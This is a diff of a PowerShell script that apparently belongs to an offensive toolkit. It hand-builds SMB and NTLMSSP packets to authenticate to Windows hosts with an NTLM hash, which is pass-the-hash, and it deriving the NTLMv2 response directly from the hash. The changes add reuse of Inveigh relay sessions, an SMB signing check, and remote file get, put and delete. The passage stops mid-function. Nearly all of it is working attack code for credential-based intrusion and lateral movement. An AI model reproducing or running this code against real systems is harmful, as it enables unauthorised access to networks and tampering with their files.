$packet_SMB2IoctlRequest.Add("GUIDHandle",[Byte[]](0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff,0xff)) + $packet_SMB2IoctlRequest.Add("InData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_Length",$file_name_length) + $packet_SMB2IoctlRequest.Add("MaxIoctlInSize",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Offset",[Byte[]](0x78,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("OutData_Length",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("MaxIoctlOutSize",[Byte[]](0x00,0x10,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Flags",[Byte[]](0x01,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("Unknown",[Byte[]](0x00,0x00,0x00,0x00)) + $packet_SMB2IoctlRequest.Add("InData_MaxReferralLevel",[Byte[]](0x04,0x00)) + $packet_SMB2IoctlRequest.Add("InData_FileName",$FileName) + + return $packet_SMB2IoctlRequest +} + +function New-PacketSMB2SetInfoRequest +{ + param ([Byte[]]$InfoType,[Byte[]]$FileInfoClass,[Byte[]]$FileID,[Byte[]]$Buffer) + + [Byte[]]$buffer_length = [System.BitConverter]::GetBytes($Buffer.Count) + + $SMB2SetInfoRequest = New-Object System.Collections.Specialized.OrderedDictionary + $SMB2SetInfoRequest.Add("StructureSize",[Byte[]](0x21,0x00)) + $SMB2SetInfoRequest.Add("InfoType",$InfoType) + $SMB2SetInfoRequest.Add("FileInfoClass",$FileInfoClass) + $SMB2SetInfoRequest.Add("BufferLength",$buffer_length) + $SMB2SetInfoRequest.Add("BufferOffset",[Byte[]](0x60,0x00)) + $SMB2SetInfoRequest.Add("Reserved",[Byte[]](0x00,0x00)) + $SMB2SetInfoRequest.Add("AdditionalInformation",[Byte[]](0x00,0x00,0x00,0x00)) + $SMB2SetInfoRequest.Add("FileID",$FileID) + $SMB2SetInfoRequest.Add("Buffer",$Buffer) + + return $SMB2SetInfoRequest } #NTLM -function Get-PacketNTLMSSPNegotiate() +function New-PacketNTLMSSPNegotiate { - param([Byte[]]$packet_negotiate_flags,[Byte[]]$packet_version) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes(32 + $packet_version.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[0] - [Byte[]]$packet_ASN_length_1 = $packet_NTLMSSP_length[0] + 32 - [Byte[]]$packet_ASN_length_2 = $packet_NTLMSSP_length[0] + 22 - [Byte[]]$packet_ASN_length_3 = $packet_NTLMSSP_length[0] + 20 - [Byte[]]$packet_ASN_length_4 = $packet_NTLMSSP_length[0] + 2 - - $packet_NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialContextTokenID",[Byte[]](0x60)) # the ASN.1 key names are likely not all correct - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InitialcontextTokenLength",$packet_ASN_length_1) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechID",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_ThisMechLength",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength",$packet_ASN_length_2) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_InnerContextTokenLength2",$packet_ASN_length_3) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID",[Byte[]](0xa0)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength",[Byte[]](0x0e)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID2",[Byte[]](0x30)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength2",[Byte[]](0x0c)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesID3",[Byte[]](0x06)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTypesLength3",[Byte[]](0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenID",[Byte[]](0xa2)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MechTokenLength",$packet_ASN_length_4) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPID",[Byte[]](0x04)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_MessageType",[Byte[]](0x01,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_NegotiateFlags",$packet_negotiate_flags) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) - - if($packet_version) + param([Byte[]]$NegotiateFlags,[Byte[]]$Version) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($Version.Length + 32))[0] + [Byte[]]$ASN_length_1 = $NTLMSSP_length[0] + 32 + [Byte[]]$ASN_length_2 = $NTLMSSP_length[0] + 22 + [Byte[]]$ASN_length_3 = $NTLMSSP_length[0] + 20 + [Byte[]]$ASN_length_4 = $NTLMSSP_length[0] + 2 + + $NTLMSSPNegotiate = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPNegotiate.Add("InitialContextTokenID",[Byte[]](0x60)) + $NTLMSSPNegotiate.Add("InitialcontextTokenLength",$ASN_length_1) + $NTLMSSPNegotiate.Add("ThisMechID",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("ThisMechLength",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("OID",[Byte[]](0x2b,0x06,0x01,0x05,0x05,0x02)) + $NTLMSSPNegotiate.Add("InnerContextTokenID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength",$ASN_length_2) + $NTLMSSPNegotiate.Add("InnerContextTokenID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("InnerContextTokenLength2",$ASN_length_3) + $NTLMSSPNegotiate.Add("MechTypesID",[Byte[]](0xa0)) + $NTLMSSPNegotiate.Add("MechTypesLength",[Byte[]](0x0e)) + $NTLMSSPNegotiate.Add("MechTypesID2",[Byte[]](0x30)) + $NTLMSSPNegotiate.Add("MechTypesLength2",[Byte[]](0x0c)) + $NTLMSSPNegotiate.Add("MechTypesID3",[Byte[]](0x06)) + $NTLMSSPNegotiate.Add("MechTypesLength3",[Byte[]](0x0a)) + $NTLMSSPNegotiate.Add("MechType",[Byte[]](0x2b,0x06,0x01,0x04,0x01,0x82,0x37,0x02,0x02,0x0a)) + $NTLMSSPNegotiate.Add("MechTokenID",[Byte[]](0xa2)) + $NTLMSSPNegotiate.Add("MechTokenLength",$ASN_length_4) + $NTLMSSPNegotiate.Add("NTLMSSPID",[Byte[]](0x04)) + $NTLMSSPNegotiate.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPNegotiate.Add("Identifier",[Byte[]](0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00)) + $NTLMSSPNegotiate.Add("MessageType",[Byte[]](0x01,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("NegotiateFlags",$NegotiateFlags) + $NTLMSSPNegotiate.Add("CallingWorkstationDomain",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + $NTLMSSPNegotiate.Add("CallingWorkstationName",[Byte[]](0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00)) + + if($Version) { - $packet_NTLMSSPNegotiate.Add("NTLMSSPNegotiate_Version",$packet_version) + $NTLMSSPNegotiate.Add("Version",$Version) } - return $packet_NTLMSSPNegotiate + return $NTLMSSPNegotiate } -function Get-PacketNTLMSSPAuth() +function New-PacketNTLMSSPAuth { - param([Byte[]]$packet_NTLM_response) - - [Byte[]]$packet_NTLMSSP_length = [System.BitConverter]::GetBytes($packet_NTLM_response.Length) - $packet_NTLMSSP_length = $packet_NTLMSSP_length[1,0] - [Byte[]]$packet_ASN_length_1 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 12) - $packet_ASN_length_1 = $packet_ASN_length_1[1,0] - [Byte[]]$packet_ASN_length_2 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 8) - $packet_ASN_length_2 = $packet_ASN_length_2[1,0] - [Byte[]]$packet_ASN_length_3 = [System.BitConverter]::GetBytes($packet_NTLM_response.Length + 4) - $packet_ASN_length_3 = $packet_ASN_length_3[1,0] - - $packet_NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID",[Byte[]](0xa1,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength",$packet_ASN_length_1) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID2",[Byte[]](0x30,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength2",$packet_ASN_length_2) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNID3",[Byte[]](0xa2,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_ASNLength3",$packet_ASN_length_3) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPID",[Byte[]](0x04,0x82)) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMSSPLength",$packet_NTLMSSP_length) - $packet_NTLMSSPAuth.Add("NTLMSSPAuth_NTLMResponse",$packet_NTLM_response) - - return $packet_NTLMSSPAuth + param([Byte[]]$NTLMResponse) + + [Byte[]]$NTLMSSP_length = ([System.BitConverter]::GetBytes($NTLMResponse.Length))[1,0] + [Byte[]]$ASN_length_1 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 12))[1,0] + [Byte[]]$ASN_length_2 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 8))[1,0] + [Byte[]]$ASN_length_3 = ([System.BitConverter]::GetBytes($NTLMResponse.Length + 4))[1,0] + + $NTLMSSPAuth = New-Object System.Collections.Specialized.OrderedDictionary + $NTLMSSPAuth.Add("ASNID",[Byte[]](0xa1,0x82)) + $NTLMSSPAuth.Add("ASNLength",$ASN_length_1) + $NTLMSSPAuth.Add("ASNID2",[Byte[]](0x30,0x82)) + $NTLMSSPAuth.Add("ASNLength2",$ASN_length_2) + $NTLMSSPAuth.Add("ASNID3",[Byte[]](0xa2,0x82)) + $NTLMSSPAuth.Add("ASNLength3",$ASN_length_3) + $NTLMSSPAuth.Add("NTLMSSPID",[Byte[]](0x04,0x82)) + $NTLMSSPAuth.Add("NTLMSSPLength",$NTLMSSP_length) + $NTLMSSPAuth.Add("NTLMResponse",$NTLMResponse) + + return $NTLMSSPAuth } -function DataLength2 +function Get-UInt16DataLength { - param ([Int]$length_start,[Byte[]]$string_extract_data) + param ([Int]$Start,[Byte[]]$Data) - $string_length = [System.BitConverter]::ToUInt16($string_extract_data[$length_start..($length_start + 1)],0) + $data_length = [System.BitConverter]::ToUInt16($Data[$Start..($Start + 1)],0) - return $string_length + return $data_length } if($Modify -and $Action -eq 'Put' -and $Source -isnot [Byte[]]) { - $output_message = "Source must be a byte array when using -Modify" + $output_message = "[-] Source must be a byte array when using -Modify" $startup_error = $true } elseif((!$Modify -and $Source -isnot [String]) -or ($Modify -and $Action -ne 'Put' -and $Source -isnot [String])) { - $output_message = "Source must be a string" + $output_message = "[-] Source must be a string" + $startup_error = $true +} +elseif($Action -eq 'Delete' -and !$Source.StartsWith("\\")) +{ + $output_message = "[-] Source must be a UNC file path" $startup_error = $true } elseif($Source -is [String]) @@ -713,6 +778,27 @@ elseif($Source -is [String]) $source = $Source.Replace('.\','') } +if($PSBoundParameters.ContainsKey('Session')) +{ + $inveigh_session = $true +} + +if($PSBoundParameters.ContainsKey('Session')) +{ + + if(!$Inveigh) + { + Write-Output "[-] Inveigh Relay session not found" + $startup_error = $true + } + elseif(!$inveigh.session_socket_table[$session].Connected) + { + Write-Output "[-] Inveigh Relay session not connected" + $startup_error = $true + } + +} + $destination = $Destination.Replace('.\','') if($hash -like "*:*") @@ -731,9 +817,14 @@ else $process_ID = [System.Diagnostics.Process]::GetCurrentProcess() | Select-Object -expand id $process_ID = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($process_ID)) -[Byte[]]$process_ID_bytes = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} -$SMB_client = New-Object System.Net.Sockets.TCPClient -$SMB_client.Client.ReceiveTimeout = 30000 +[Byte[]]$process_ID = $process_ID.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} + +if(!$inveigh_session) +{ + $client = New-Object System.Net.Sockets.TCPClient + $client.Client.ReceiveTimeout = 30000 +} + $action_step = 0 if($Action -ne 'Put') @@ -777,7 +868,7 @@ switch($Action) if(Test-Path (Join-Path $PWD $destination)) { - $output_message = "Destination file already exists" + $output_message = "[-] Destination file already exists" $startup_error = $true } else @@ -791,7 +882,7 @@ switch($Action) if(Test-Path (Join-Path $PWD $source_file)) { - $output_message = "Destination file already exists" + $output_message = "[-] Destination file already exists" $startup_error = $true } else @@ -853,14 +944,13 @@ switch($Action) } else { - $output_message = "File not found" + $output_message = "[-] File not found" $startup_error = $true } } else { - [Int64]$source_file_size = $Source.Count if($source_file_size -gt 65536) @@ -915,1718 +1005,1900 @@ if($share_subdirectory -and $share_subdirectory.EndsWith('\')) $share_subdirectory = $share_subdirectory.Substring(0,$share_subdirectory.Length - 1) } -if(!$startup_error) +if(!$startup_error -and !$inveigh_session) { try { - $SMB_client.Connect($target,"445") + $client.Connect($target,"445") } catch { - $output_message = "$target did not respond" + $output_message = "[-] $target did not respond" } } -if($SMB_client.Connected) +if($client.Connected -or (!$startup_error -and $inveigh.session_socket_table[$session].Connected)) { - $SMB_client_stream = $SMB_client.GetStream() - $SMB_client_receive = New-Object System.Byte[] 81920 - $SMB_client_stage = 'NegotiateSMB' + + $client_receive = New-Object System.Byte[] 81920 - while($SMB_client_stage -ne 'exit') + if(!$inveigh_session) { + $client_stream = $client.GetStream() - switch($SMB_client_stage) + if($SMB_version -eq 'SMB2.1') + { + $stage = 'NegotiateSMB2' + } + else { + $stage = 'NegotiateSMB' + } - 'NegotiateSMB' - { - $packet_SMB_header = Get-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID_bytes[0,1] 0x00,0x00 - $packet_SMB_data = Get-PacketSMBNegotiateProtocolRequest $SMB_version - $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header - $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB_header + $SMB_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null + while($stage -ne 'Exit') + { - if([System.BitConverter]::ToString($SMB_client_receive[4..7]) -eq 'ff-53-4d-42') - { - $SMB_client_stage = 'exit' - $login_successful = $false - $output_message = "SMB1 is not supported" - } - else + try + { + + switch ($stage) { - $SMB_version = 'SMB2' - $SMB_client_stage = 'NegotiateSMB2' - if([System.BitConverter]::ToString($SMB_client_receive[70]) -eq '03') - { - Write-Verbose "SMB signing is enabled" - $SMB_signing = $true - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x15,0x82,0x08,0xa0 - } - else - { - $SMB_signing = $false - $SMB_session_key_length = 0x00,0x00 - $SMB_negotiate_flags = 0x05,0x80,0x08,0xa0 - } + 'NegotiateSMB' + { + $packet_SMB_header = New-PacketSMBHeader 0x72 0x18 0x01,0x48 0xff,0xff $process_ID 0x00,0x00 + $packet_SMB_data = New-PacketSMBNegotiateProtocolRequest $SMB_version + $SMB_header = ConvertFrom-PacketOrderedDictionary $packet_SMB_header + $SMB_data = ConvertFrom-PacketOrderedDictionary $packet_SMB_data + $packet_NetBIOS_session_service = New-PacketNetBIOSSessionService $SMB_header.Length $SMB_data.Length + $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + $client_send = $NetBIOS_session_service + $SMB_header + $SMB_data + + try + { + $client_stream.Write($client_send,0,$client_send.Length) > $null + $client_stream.Flush() + $client_stream.Read($client_receive,0,$client_receive.Length) > $null - } + if([System.BitConverter]::ToString($client_receive[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version = 'SMB1' + $stage = 'NTLMSSPNegotiate' - } + if([System.BitConverter]::ToString($client_receive[39]) -eq '0f') + { - 'NegotiateSMB2' - { - $SMB2_tree_ID = 0x00,0x00,0x00,0x00 - $SMB_session_ID = 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 - $SMB2_message_ID = 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x00,0x00 0x00,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_SMB2_data = Get-PacketSMB2NegotiateProtocolRequest - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'NTLMSSPNegotiate' - } - - 'NTLMSSPNegotiate' - { - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_NTLMSSP_negotiate = Get-PacketNTLMSSPNegotiate $SMB_negotiate_flags - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_negotiate = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_negotiate - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_negotiate - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - $SMB_client_stage = 'exit' - } - - } + if($signing_check) + { + Write-Output "[+] SMB signing is required on $Target" + $stage = 'Exit' + } + else + { + Write-Verbose "[+] SMB signing is required" + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } - } + } + else + { - if($SMB_version -eq 'SMB2') - { - $SMB_NTLMSSP = [System.BitConverter]::ToString($SMB_client_receive) - $SMB_NTLMSSP = $SMB_NTLMSSP -replace "-","" - $SMB_NTLMSSP_index = $SMB_NTLMSSP.IndexOf("4E544C4D53535000") - $SMB_NTLMSSP_bytes_index = $SMB_NTLMSSP_index / 2 - $SMB_domain_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 12) $SMB_client_receive - $SMB_target_length = DataLength2 ($SMB_NTLMSSP_bytes_index + 40) $SMB_client_receive - $SMB_session_ID = $SMB_client_receive[44..51] - $SMB_NTLM_challenge = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 24)..($SMB_NTLMSSP_bytes_index + 31)] - $SMB_target_details = $SMB_client_receive[($SMB_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] - $SMB_target_time_bytes = $SMB_target_details[($SMB_target_details.Length - 12)..($SMB_target_details.Length - 5)] - $NTLM_hash_bytes = (&{for ($i = 0;$i -lt $hash.Length;$i += 2){$hash.SubString($i,2)}}) -join "-" - $NTLM_hash_bytes = $NTLM_hash_bytes.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $auth_hostname = (Get-ChildItem -path env:computername).Value - $auth_hostname_bytes = [System.Text.Encoding]::Unicode.GetBytes($auth_hostname) - $auth_domain_bytes = [System.Text.Encoding]::Unicode.GetBytes($Domain) - $auth_username_bytes = [System.Text.Encoding]::Unicode.GetBytes($username) - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_domain_length = [System.BitConverter]::GetBytes($auth_domain_bytes.Length) - $auth_domain_length = $auth_domain_length[0,1] - $auth_username_length = [System.BitConverter]::GetBytes($auth_username_bytes.Length) - $auth_username_length = $auth_username_length[0,1] - $auth_hostname_length = [System.BitConverter]::GetBytes($auth_hostname_bytes.Length) - $auth_hostname_length = $auth_hostname_length[0,1] - $auth_domain_offset = 0x40,0x00,0x00,0x00 - $auth_username_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + 64) - $auth_hostname_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + 64) - $auth_LM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 64) - $auth_NTLM_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + 88) - $HMAC_MD5 = New-Object System.Security.Cryptography.HMACMD5 - $HMAC_MD5.key = $NTLM_hash_bytes - $username_and_target = $username.ToUpper() - $username_and_target_bytes = [System.Text.Encoding]::Unicode.GetBytes($username_and_target) - $username_and_target_bytes += $auth_domain_bytes - $NTLMv2_hash = $HMAC_MD5.ComputeHash($username_and_target_bytes) - $client_challenge = [String](1..8 | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum 1 -Maximum 255)}) - $client_challenge_bytes = $client_challenge.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - - $security_blob_bytes = 0x01,0x01,0x00,0x00, - 0x00,0x00,0x00,0x00 + - $SMB_target_time_bytes + - $client_challenge_bytes + - 0x00,0x00,0x00,0x00 + - $SMB_target_details + - 0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00 - - $server_challenge_and_security_blob_bytes = $SMB_NTLM_challenge + $security_blob_bytes - $HMAC_MD5.key = $NTLMv2_hash - $NTLMv2_response = $HMAC_MD5.ComputeHash($server_challenge_and_security_blob_bytes) - - if($SMB_signing) - { - $session_base_key = $HMAC_MD5.ComputeHash($NTLMv2_response) - $session_key = $session_base_key - $HMAC_SHA256 = New-Object System.Security.Cryptography.HMACSHA256 - $HMAC_SHA256.key = $session_key - } + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $Target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x82,0x08,0xa0 + } - $NTLMv2_response = $NTLMv2_response + $security_blob_bytes - $NTLMv2_response_length = [System.BitConverter]::GetBytes($NTLMv2_response.Length) - $NTLMv2_response_length = $NTLMv2_response_length[0,1] - $SMB_session_key_offset = [System.BitConverter]::GetBytes($auth_domain_bytes.Length + $auth_username_bytes.Length + $auth_hostname_bytes.Length + $NTLMv2_response.Length + 88) - - $NTLMSSP_response = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00, - 0x03,0x00,0x00,0x00, - 0x18,0x00, - 0x18,0x00 + - $auth_LM_offset + - $NTLMv2_response_length + - $NTLMv2_response_length + - $auth_NTLM_offset + - $auth_domain_length + - $auth_domain_length + - $auth_domain_offset + - $auth_username_length + - $auth_username_length + - $auth_username_offset + - $auth_hostname_length + - $auth_hostname_length + - $auth_hostname_offset + - $SMB_session_key_length + - $SMB_session_key_length + - $SMB_session_key_offset + - $SMB_negotiate_flags + - $auth_domain_bytes + - $auth_username_bytes + - $auth_hostname_bytes + - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, - 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + - $NTLMv2_response - - $SMB2_message_ID += 1 - $packet_SMB2_header = Get-PacketSMB2Header 0x01,0x00 0x1f,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes - $packet_NTLMSSP_auth = Get-PacketNTLMSSPAuth $NTLMSSP_response - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $NTLMSSP_auth = ConvertFrom-PacketOrderedDictionary $packet_NTLMSSP_auth - $packet_SMB2_data = Get-PacketSMB2SessionSetupRequest $NTLMSSP_auth - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - $SMB_client_stream.Write($SMB_client_send,0,$SMB_client_send.Length) > $null - $SMB_client_stream.Flush() - $SMB_client_stream.Read($SMB_client_receive,0,$SMB_client_receive.Length) > $null - - if([System.BitConverter]::ToString($SMB_client_receive[12..15]) -eq '00-00-00-00') - { - Write-Verbose "$output_username successfully authenticated on $target" - $login_successful = $true - } - else - { - $output_message = "$output_username failed to authenticate on $target" - $login_successful = $false - } + } - } + } + else + { + $stage = 'NegotiateSMB2' - try - { + if([System.BitConverter]::ToString($client_receive[70]) -eq '03') + { - if($login_successful) - { - $SMB_path = "\\" + $Target + "\IPC$" - $SMB_path_bytes = [System.Text.Encoding]::Unicode.GetBytes($SMB_path) - $directory_list = New-Object System.Collections.ArrayList - $SMB_client_stage = 'TreeConnect' + if($signing_check) + { + Write-Output "[+] SMB signing is required on $Target" + $stage = 'Exit' + } + else + { - :SMB_execute_loop while ($SMB_client_stage -ne 'exit') - { + if(!$SMB_signing) + { + Write-Verbose "[+] SMB signing is required" + } - switch($SMB_client_stage) - { - - 'TreeConnect' - { - $SMB2_message_ID++ - $packet_SMB2_header = Get-PacketSMB2Header 0x03,0x00 0x01,0x00 $SMB2_message_ID $SMB2_tree_ID $SMB_session_ID - $packet_SMB2_header["SMB2Header_ProcessID"] = $process_ID_bytes + $SMB_signing = $true + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x15,0x82,0x08,0xa0 + } - if($SMB_signing) - { - $packet_SMB2_header["SMB2Header_Flags"] = 0x08,0x00,0x00,0x00 - } + } + else + { - $packet_SMB2_data = Get-PacketSMB2TreeConnectRequest $SMB_path_bytes - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header - $SMB2_data = ConvertFrom-PacketOrderedDictionary $packet_SMB2_data - $packet_NetBIOS_session_service = Get-PacketNetBIOSSessionService $SMB2_header.Length $SMB2_data.Length - $NetBIOS_session_service = ConvertFrom-PacketOrderedDictionary $packet_NetBIOS_session_service + if($signing_check) + { + Write-Output "[+] SMB signing is not required on $Target" + $stage = 'Exit' + } + else + { + $SMB_signing = $false + $session_key_length = 0x00,0x00 + $negotiate_flags = 0x05,0x80,0x08,0xa0 + } + + } + + } + + } + catch + { + + if($_.Exception.Message -like 'Exception calling "Read" with "3" argument(s): "Unable to read data from the transport connection: An existing connection was forcibly closed by the remote host."') + { + Write-Output "[-] SMB1 negotiation failed" + $negoitiation_failed = $true + $stage = 'Exit' + } + + } - if($SMB_signing) - { - $SMB2_sign = $SMB2_header + $SMB2_data - $SMB2_signature = $HMAC_SHA256.ComputeHash($SMB2_sign) - $SMB2_signature = $SMB2_signature[0..15] - $packet_SMB2_header["SMB2Header_Signature"] = $SMB2_signature - $SMB2_header = ConvertFrom-PacketOrderedDictionary $packet_SMB2_header } - $SMB_client_send = $NetBIOS_session_service + $SMB2_header + $SMB2_data - 